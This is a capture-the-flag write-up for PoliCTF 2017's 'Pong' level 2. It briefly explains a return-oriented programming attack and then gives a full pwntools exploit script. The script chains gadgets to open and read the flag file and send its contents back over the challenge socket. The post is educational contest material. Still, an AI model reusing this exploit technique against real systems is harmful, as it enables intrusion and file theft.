PoliCTF 2017 - Pong(lvl2)
Ready for another match? :P
nc pong.chall.polictf.it 31337 or nc pong2.chall.polictf.it 31337
It is basically the same binary as level1, but without the secret
function.
This time we did ROP to achieve what the removed function was offering.
We used ROPgadget to lookup for meaningful gadgets to achieve our intent. We chained gadgets to achieve calls to open
then read
(both of them had a PLT entry) and finally we called sendMessage
to have the flag content printed back to the client socket.
Since we didn’t find a proper gadget in order to prepare the correct fd
argument for the call to read
(specifically the one returned by open
) we tried to guess it.
We observed that the fd
number was 9 on our local machine, so we tried that value on the server and it worked like a charm at the first run.
from pwn import *
import sys
def start_game(level, local=None):
log.info("local: %s" % local)
if str(local) == str("local"):
p = remote('localhost', 31337)
else:
p = remote('pong.chall.polictf.it', 31337)
p.sendline(level)
p.recvuntil("OK ")
s = p.recvline()
c_port = int(s.strip())
return c_port
def play_pong(port, local=None):
print "connecting to pong UDP server at %d" % port
if str(local) == str('local'):
p = remote('localhost', port, typ="udp")
else:
p = remote('pong.chall.polictf.it', port, typ="udp")
return p
def send_to_pong(p, pay, stop=None):
p.sendline(pay)
s = None
if stop:
s = p.recv(timeout=5)
return s
def prepare():
port = start_game("Lv2", sys.argv[1])
p = play_pong(port, sys.argv[1])
return p
def payloadgen():
# read(open("./flag2", O_RDONLY), buf, 256)
# sendMessage(buf)
pop_rdi = p64(0x406938) # pop rdi
pop_rsi = p64(0x404717) # pod rsi
pop_rdx = p64(0x405c65) # pop rdx ; pop ; rsp+8 ; ret
mov_rdi = p64(0x40df60) # 0x40df60 mov qword ptr [rdi], rdx ; ret
buf = p64(0x61F560) # buffer (field of zeros)
RDONLY = p64(0x0)
pay = "1" + "|" + "2" * 22
pay += pop_rdi
pay += buf
'''
we observed that in someway ( we did not investigate on)
the stack position where we put the
flag string was modified corrupting
its value. so we add some instructions
to push deeper down to the stack
the string, so avoiding the corruption.
'''
pay += pop_rdx
pay += "./flag\x00\x00"
pay += pop_rsi #trash
pay += pop_rsi #trash
pay += pop_rdx
pay += "./flag\x00\x00"
pay += pop_rsi #trash
pay += pop_rsi #trash
pay += pop_rdx
pay += "./flag\x00\x00"
pay += pop_rsi #trash
pay += pop_rsi #trash
pay += pop_rdx
pay += "./flag\x00\x00"
pay += pop_rsi #trash
pay += pop_rsi #trash
pay += mov_rdi
pay += pop_rsi
pay += RDONLY
#0x0000000000416add : pop rax ; pop rbx ; pop rbp ; pop r12 ; ret
pay += p64(0x0000000000416add)
pay += p64(elf.plt['open'])
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
#0x0000000000402e48 : call rax
pay += p64(0x0000000000402e48)
pay += p64(0x0)
# mov rdi, rax
pay += pop_rdi
pay += p64(0x9)
pay += pop_rsi
pay += buf
pay += pop_rdx
pay += p64(0x100) # len
pay += p64(0x100)
pay += p64(0x100)
pay += p64(elf.plt['read'])
pay += pop_rdi
pay += buf
pay += p64(0x404526) # sendMessage
return pay
elf = ELF('./level2/level2')
p = prepare()
raw_input("stop")
print("Sending reset")
pay = "-1|2"
send_to_pong(p, pay, False)
pay = payloadgen()
for x in range(1):
log.info("SENDING FATAL PONG")
send_to_pong(p, pay, False)
for x in range(10):
print(p.recv())
'''
0x0000000000406938 : pop rdi ; ret
0x0000000000406936 : pop rsi ; pop r15 ; ret
0x0000000000404717 : pop rsi ; ret
0x0000000000405c65 : pop rdx ; pop rcx ; add rsp, 8 ; ret
0x0000000000407546 : push rax ; ret
00000000004036a0 <open@plt>:
0000000000403290 <read@plt>:
.text:0000000000404526 sendMessage proc near ; CODE XREF: broadcast+69p
.text:0000000000404526
.text:0000000000404526 mex = qword ptr -18h
.text:0000000000404526
.text:0000000000404526 push rbp
.text:0000000000404527 mov rbp, rsp
.text:000000000040452A push rbx
.text:000000000040452B sub rsp, 18h
.text:000000000040452F mov [rbp+mex], rdi
'''